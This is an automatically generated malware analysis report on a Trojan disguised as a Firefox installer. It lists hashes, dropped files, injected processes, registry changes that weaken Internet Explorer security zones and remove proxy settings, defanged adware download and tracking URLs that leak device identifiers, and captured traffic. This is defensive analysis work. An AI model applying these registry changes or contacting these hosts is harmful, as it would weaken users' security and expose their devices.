Trojan.NSIS.StartPage_f64c23dfb9

by malwarelabrobot on March 13th, 2016 in Malware Descriptions.

Trojan.NSIS.StartPage.FD, Trojan.Win32.IEDummy.FD, Trojan.Win32.Swrort.3.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: f64c23dfb93b239e4c98f726ca0880a5
SHA1: 464cd5d20c287b0e2460559f082cac87f6afe064
SHA256: aa22207c4d1d45bd7738d1bd52f181e783de61460495fbd1926467c1f6e0b717
SSDeep: 12288:6oHC57C0BDbxRLhP4FbfEjL/1V6CVPa5CysCikKWFQl:6Dfxn4FDe71V6CirdKW2l
Size: 567224 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: Xacti, LLC
Created at: 2009-12-06 00:50:52
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:668
wmic.exe:1276

The Trojan injects its code into the following process(es):

setup-stub.exe:760
Firefox.exe:684
rd.exe:892

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:668 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\Convert.dll (4597 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\instructionsalgk4.exe (398737 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\nsisunz.dll (211 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\rd.zip (57028 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\instructionsalgk4.dat (8368 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsy1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\rd.zip (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\instructionsalgk4.dat (0 bytes)

The process setup-stub.exe:760 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\appname.bmp (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\bgplain.bmp (12280 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\clock.bmp (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\pencil.bmp (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\nsDialogs.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\particles.bmp (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\bgintro.bmp (12280 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsv4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp (0 bytes)

The process wmic.exe:1276 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\91457740423.txt (238 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\91457740423.txt (0 bytes)

The process Firefox.exe:684 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\7zS3.tmp\setup-stub.exe (13454 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\7zS3.tmp (0 bytes)

The process rd.exe:892 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\914577404230\Firefox.exe (20169 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8TQZ0HUV\jquery.min[1].js (1188 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KP6VKDEZ\DynamicOfferScreen[1].htm (1140 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KP6VKDEZ\ui-bg_inset-hard_100_fcfdfd_1x100[1].png (88 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RZ4ACECK\DynamicOfferScreen[1].htm (959 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RZ4ACECK\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4XIN81U7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KP6VKDEZ\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8TQZ0HUV\jquery-ui[1].css (33 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4XIN81U7\ui-bg_gloss-wave_75_2191c0_500x100[1].png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8TQZ0HUV\dc[1].js (1327 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8TQZ0HUV\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RZ4ACECK\jquery-ui.min[1].js (9346 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KP6VKDEZ\Firefox[1].exe (39285 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4XIN81U7\jquery-ui-1.8.19.custom[1].css (5521 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\91457740423 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\91457740423.txt (0 bytes)

Registry activity

The process %original file name%.exe:668 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5A 46 11 3F 54 3A 59 EB EA 67 6B 3E B3 1A 10 33"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process setup-stub.exe:760 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "68 06 96 78 BE BA 6F 45 14 31 0D 28 A6 C6 1F B1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Mozilla]
"FirefoxInstallerTest" = "Write Test"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Mozilla]
"FirefoxInstallerTest"

The process wmic.exe:1276 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "62 AB 7F 89 33 C8 C9 C6 D4 B4 BC 40 B3 86 AB 7F"

The process Firefox.exe:684 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "39 F6 9E E2 6B 9F 32 51 DC 2C 53 07 22 A2 E9 9B"

The process rd.exe:892 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCR\Interface\{3408AC0D-510E-4808-8F7B-6B70B1F88534}\TypeLib]
"(Default)" = "{03771AEF-400D-4A13-B712-25878EC4A3F5}"

[HKCR\TypeLib\{03771AEF-400D-4A13-B712-25878EC4A3F5}\1.0\0\win32]
"(Default)" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\rd.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"

[HKCR\Interface\{3408AC0D-510E-4808-8F7B-6B70B1F88534}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{3408AC0D-510E-4808-8F7B-6B70B1F88534}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKCR\Interface\{3408AC0D-510E-4808-8F7B-6B70B1F88534}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCR\CLSID\{6D4506CE-F855-4657-AA38-DB6B1F733982}]
"(Default)" = "CBrowserExternal Class"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCR\CLSID\{6D4506CE-F855-4657-AA38-DB6B1F733982}\Version]
"(Default)" = "1.0"

[HKCR\TypeLib\{03771AEF-400D-4A13-B712-25878EC4A3F5}\1.0\HELPDIR]
"(Default)" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp"

[HKCR\CLSID\{6D4506CE-F855-4657-AA38-DB6B1F733982}\TypeLib]
"(Default)" = "{03771AEF-400D-4A13-B712-25878EC4A3F5}"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCR\TypeLib\{03771AEF-400D-4A13-B712-25878EC4A3F5}\1.0]
"(Default)" = "SmartInstallerLib"

[HKCR\Interface\{3408AC0D-510E-4808-8F7B-6B70B1F88534}]
"(Default)" = "IBrowserExternals"

[HKCR\CLSID\{6D4506CE-F855-4657-AA38-DB6B1F733982}\LocalServer32]
"(Default)" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\rd.exe"
"ServerExecutable" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\rd.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "12 AA 2D 5F 3E E5 17 92 E4 C6 A1 48 31 0D 11 57"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Internet Explorer]
"iexplore.exe" = "Internet Explorer"

[HKCR\TypeLib\{03771AEF-400D-4A13-B712-25878EC4A3F5}\1.0\FLAGS]
"(Default)" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
c4ba119edd07634350bd6f63c9a9733c	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\7zS3.tmp\setup-stub.exe
351d83cbc02c48ca0af90afe233fcf79	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\914577404230\Firefox.exe
a554f729d2b1eb8c588388ee37ee7ad4	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsj2.tmp\Convert.dll
5f13dbc378792f23e598079fc1e4422b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsj2.tmp\nsisunz.dll
959ea64598b9a3e494c00e8fa793be7e	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl5.tmp\System.dll
f7b92b78f1a00a872c8a38f40afa7d65	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl5.tmp\nsDialogs.dll
f0a491b4e489aaeab96ca5a10d30b7e3	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\rd.exe
351d83cbc02c48ca0af90afe233fcf79	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\KP6VKDEZ\Firefox[1].exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name: Firefox
Product Version: 5.0
Legal Copyright: Firefox
Legal Trademarks: Firefox
Original Filename:
Internal Name:
File Version:
File Description: Firefox
Comments: setup Installer
Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	23628	24064	4.46394	856b32eb77dfd6fb67f21d6543272da5
.rdata	28672	4764	5120	3.4982	dc77f8a1e6985a4361c55642680ddb4f
.data	36864	154712	1024	3.3278	7922d4ce117d7d5b3ac2cffe4b0b5e4f
.ndata	192512	36864	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	229376	3176	3584	2.75958	5f5be7e9a0a1bb2e06df284420492fc4

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 297
2b75000a602769c10f01214ef00565d6
a51710e3920732d4e79c0b5dd6c65f1e
a268faa25f6d98804f827220e6ad144b
2a6d74f73a28e024739966d4ce48e19c
444bacddded577777985d515004cf72d
6270548c1455a016604bc4e8319824fa
7b029103d40e8bbd0bdb1691ccd36ad5
ce0b81344e2b1763fc04f592872fc425
d2551d2cbad8f2253c10035de66952a8
096c92e45fa0d126dae1087776cbee72
a29bd1775cd9f4307bb4cc6f803ef3a4
6894232cd82bb7df27c7a2ad4f254646
4dd3d83d5712cd9f495fb24e6109c6b1
ee54fffa799bfc41db61480eb2def6d8
9da4df616e59b7e77dd844cbc57c2820
7539ec9b93463e4c57f771a1bf07f37e
58ef39e722e74943d269709966047ad2
a2c3e60f5581cb5ce7235716a5ea9cf3
b8d917b993918d85ecb7064071a920ee
3523f7ee487a3c860d6f5d6ce08a25d4
a48cf2acceffe5cac1378bffec4e1a0c
6a1a2824d50bac75149ebb1ad8771649
2c1c06f8fbb81b942f78b45a34c2b56d
3022ab14072b68d4f44cc46a0c29f68f
d364e775c38082785dfa122bf95c7261

URLs

URL	IP
hxxp://cdn-ppdownload.outbrowse.netdna-cdn.com/ezdown/Firefox.exe
hxxp://smartinstaller.elasticbeanstalk.com//offers/DynamicOfferScreen?offerid=2&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0&
hxxp://googleapis.l.google.com/ajax/libs/jquery/1.5/jquery.min.js
hxxp://googleapis.l.google.com/ajax/libs/jqueryui/1.8/themes/start/jquery-ui.css
hxxp://staticrevenyou.outbrowse.netdna-cdn.com/offers/ui/css/start/jquery-ui-1.8.19.custom.css
hxxp://googleapis.l.google.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js
hxxp://staticrevenyou.outbrowse.netdna-cdn.com/offers/images/Theme15/topLine.jpg
hxxp://googleapis.l.google.com/ajax/libs/jqueryui/1.8/themes/start/images/ui-bg_inset-hard_100_fcfdfd_1x100.png
hxxp://googleapis.l.google.com/ajax/libs/jqueryui/1.8/themes/start/images/ui-bg_gloss-wave_75_2191c0_500x100.png
hxxp://staticrevenyou.outbrowse.netdna-cdn.com/offers/images/Theme15/bgImg.jpg
hxxp://staticrevenyou.outbrowse.netdna-cdn.com/offers/images/Theme15/bottomLine.jpg
hxxp://smartinstaller.elasticbeanstalk.com//offers/DynamicOfferScreen?offerid=4&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0&
hxxp://www.postdownload.net/portal/redirect.php?id=c4on47s995a1agomfqudvnseh60nr5mbh9rtlo999sibmm8gp8m0-00c74710c6fc8a914c6b21d3a97e796b&d=downloadinfo.co&p=Firefox&pid=3	104.24.23.17
hxxp://stats.l.doubleclick.net/dc.js
hxxp://stats.g.doubleclick.net/dc.js	173.194.73.157
hxxp://static.revenyou.com/offers/images/Theme15/bgImg.jpg	198.232.124.224
hxxp://data.getserverinfo.com/Installer/Track?pubid=1955&distid=18257&productid=5187&subpubid=0&campaignid=0&networkid=1&reqid=399085612&dfb=0&os=5.1&iev=6.0&ffv=&chromev=&macaddress=00:0C:29:02:CD:FB&netv=&d1=74240&d2=-1&d3=-1&d4=-1&d5=-1&ds1=&hb=2&systembit=32&vm=1&machineguid=75ed9567-aa58-4c8e-a8ea-3cad7c47ab03&diskserial=-1465484763&status=0&installedid=5187&offerscreenid=&offerorder=5&downloadduration=2890&installduration=32&issecond=0	50.19.96.76
hxxp://cdn.download4desktop.com/ezdown/Firefox.exe	198.232.124.192
hxxp://static.revenyou.com/offers/images/Theme15/topLine.jpg	198.232.124.224
hxxp://static.revenyou.com/offers/ui/css/start/jquery-ui-1.8.19.custom.css	198.232.124.224
hxxp://data.getserverinfo.com/Installer/Flow?pubid=1955&distid=18257&productid=5187&subpubid=0&campaignid=0&networkid=1&dfb=0&os=5.1&iev=6.0&ffv=&chromev=&macaddress=00:0C:29:02:CD:FB&netv=&d1=74240&d2=-1&d3=-1&d4=-1&d5=-1&ds1=&hb=2&systembit=32&vm=1&machineguid=75ed9567-aa58-4c8e-a8ea-3cad7c47ab03&diskserial=-1465484763&version=4.4	50.19.96.76
hxxp://ajax.googleapis.com/ajax/libs/jqueryui/1.8/themes/start/images/ui-bg_gloss-wave_75_2191c0_500x100.png	216.58.209.202
hxxp://ajax.googleapis.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js	216.58.209.202
hxxp://static.revenyou.com/offers/images/Theme15/bottomLine.jpg	198.232.124.224
hxxp://ajax.googleapis.com/ajax/libs/jqueryui/1.8/themes/start/jquery-ui.css	216.58.209.202
hxxp://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js	216.58.209.202
hxxp://srv.serverdatasrv.com//offers/DynamicOfferScreen?offerid=4&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0&	50.19.96.76
hxxp://data.getserverinfo.com/Installer/TrackFinish?reqid=399085612&x=y&clickid=	50.19.96.76
hxxp://ajax.googleapis.com/ajax/libs/jqueryui/1.8/themes/start/images/ui-bg_inset-hard_100_fcfdfd_1x100.png	216.58.209.202
hxxp://srv.serverdatasrv.com//offers/DynamicOfferScreen?offerid=2&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0&	50.19.96.76
thankyou.postdownload.net
az735311.vo.msecnd.net

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /ajax/libs/jqueryui/1.8/themes/start/jquery-ui.css HTTP/1.1

Accept: */*

Referer: hXXp://srv.serverdatasrv.com//offers/DynamicOfferScreen?offerid=2&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0&

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/css; charset=UTF-8

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

Date: Mon, 07 Mar 2016 09:11:56 GMT

Expires: Tue, 07 Mar 2017 09:11:56 GMT

Last-Modified: Fri, 27 Nov 2015 19:30:24 GMT

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 6091

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000, stale-while-revalidate=2592000

Age: 398668
[email protected]..~...e.#K.$.#A..=.!%J|iz...
;@Z.:...y..}..........X.H~{G...O~......-.M^[email protected]........
....!/.Ms.\\...'t.&qy..........hN.,fE..r*.V.f..O.>.."...G._.... s.W
O8f....v...dJ>O...H ..o..>..! v.o~y...gg.....#.D.,?BwgQ...&.,B.h
.%. .'.d.1...R...&.M...1..l.3.?.u..t.B.u...F....e....&q..7.bq.bv| ....
....... V..z;.j.A_.kr.I.J...e.z..A.yV0........0..5i.C.%,. .L..iY4Q.}..
.t......y..U.q.h.f..-K.....3.6...H..Y..|..u.....\d[T.........>.....
.|...Y...T.*...<..X..F.S.:.4..G.<.r`k.&?........0.p.w gEcN..=.'8
a...E......~...$OXJOy.s)...ud..\tQ.Z$$;..|.}[email protected]^...S2.gn.h......;V.
yy.!...{4..U%D>x....{...2.SV....!Y<....3..e...cMTb.5.,f...r..$Or
..%X...78.I.>[email protected].<.W 
EY.h.<.U.l2c.....V.J..T.^...owo.....(...|...Sh..~x..l..ovyY.7...M..
. ..v2.%.j....Np1_....4...M...9.~.,y.V..b.-...i.&i.q...W7......*1.QP.k
:C..^.k6..T.\.u,..LW.(S<)5.............X...ZW...#.UC*.:nT;.....\<
;._.. J.YK.:9.H}3....U.B..$..W..f$l]^[email protected].,(."
......l.%........:.A..y.'n.. ..j:.q2.]r..M...j.JSQ....i.8...J...".iZ.V
.....5..'S:.*..C..V.Y.!S.k*.:FT.tv...1.P.A.e..r.h......-..uGZ6.(.....l
..!5....z....2M!.?.G.........'....U>..-aH/ .E.D.T{J..C!...tK.!.a.v.
.~......$....5 ..xj.u...P...x.@ F{..S..R.O.<d#.E%PS.//......5fV.4..
.1..S.......mw..#..o Q. .....p_yI..ox.....UM.uP....b.v0GE.....A....X.!
pX4.......Y-o..f9.....L.p$.........;..P...Q.b........mZe..$s..].8..t..
.M...o......X...S".>..1A*.....2h......D.j8Y..wL..^.| ....1...`C<<< skipped >>>

GET /ajax/libs/jqueryui/1.8/jquery-ui.min.js HTTP/1.1

Accept: */*

Referer: hXXp://srv.serverdatasrv.com//offers/DynamicOfferScreen?offerid=2&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0&

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

Date: Fri, 11 Mar 2016 19:52:31 GMT

Expires: Sat, 11 Mar 2017 19:52:31 GMT

Last-Modified: Fri, 27 Nov 2015 19:30:24 GMT

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 51519

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000, stale-while-revalidate=2592000

Age: 14633
............y{.Gr8...}...#c...P>......X.e;...Cs...`H.......{.......
l.&...."..............u].......w....E....u<...._........6..urt4.7..
._,/....Z.O...R/...........k(....ka%...i.../..k.`....,.7..WW..U....H_W
[email protected].*=...2...^.....U(...J..]..e..I......5...9...e^]...&...
.....e...y...f.-..j..}V....r.._o.._W.j.oW~..4..0....htP..|9.....z...j.
......o...'[email protected].......~x.........j...../^........G._g..
...d".o..A..E.......4./.......f...m.z...N<.'.([UY..i..'P.....o.....
..*..hUm.W...?[U...p..NZ.>L..2......3K.NT_NO.TBb...;.FgQ|:8........
,.w.~..^\]o.|......G......sH>.o...S.c.NY....I....j.ER..v........H..
.T....-.W.|..&.|S......Y..^=}.....k..V.......Q.........v...[.v..`:U.wq
.^-......O....f.;....A..3..G...Z..)ndn.1j..E..).@r.........'O....O.>
;O..O.|...7.=...x .~....(.....Y..P.|....^..?....!..$|.....I...g..y..y.
.g..w?}.|2....G......H....W.....s..w/.'.>./.}.....'.........o......
..O..y..Y2.|.>.=......n8.I/......2T)....*.....~..7?C.g*....}.....&.
/..O.......O.....G.....x........?.R.....t...U|t,^?.k...._..^|.......b.
.'..?7p...l6..R....~f.(.L..........ctZ%.m._U..A. .....U4F..WY1....k.b.
h]m^....zc..:e..ubQ<xP....!q..b.'.*...]]..3`g...%..(..V...{:%..w>
;.."_-....].......z.m.b......*...:,..N..g.........zS. 6.i...m;.G...V5.
....R..;...1.c.=..[.yK.%...|...t[.z........T.v.qr.....'.h..o#.b.mc.<
;.*.!..N.........P.|W.-....u.\8...H...U...%....JLFog...... |.....n....
.-W...|...o.8..f..........M.t......;...f.v&.@..~.&6...?ok'..[.`....zE.
.b...C...H..........$(...f.Y.Q...[........=..H.z......7...j.].q|p.<<< skipped >>>

GET /ajax/libs/jqueryui/1.8/themes/start/images/ui-bg_gloss-wave_75_2191c0_500x100.png HTTP/1.1

Accept: */*

Referer: hXXp://srv.serverdatasrv.com//offers/DynamicOfferScreen?offerid=2&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0&

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

Date: Mon, 07 Mar 2016 08:59:59 GMT

Expires: Tue, 07 Mar 2017 08:59:59 GMT

Last-Modified: Fri, 27 Nov 2015 19:30:24 GMT

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 3457

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000, stale-while-revalidate=2592000

Age: 399386
.PNG........IHDR.......d.....p..}...HIDATx...K..N................q..B.
...6...._.d.c.......*...V......|U.......w-...p..>Z..........`......
......`............`............`............`............`...........
.`............`.......@.....:n.K>.u.....X..V..G........l.9......j6.
x..xu..y...I... gZ.D.L...........4[OG.8.|d.....;.N[O..lz.M....{..ne.Z1
..VlO...e..k.g.........k.6.r..........be'`t#..zu39.|[..6=9....4..H."..
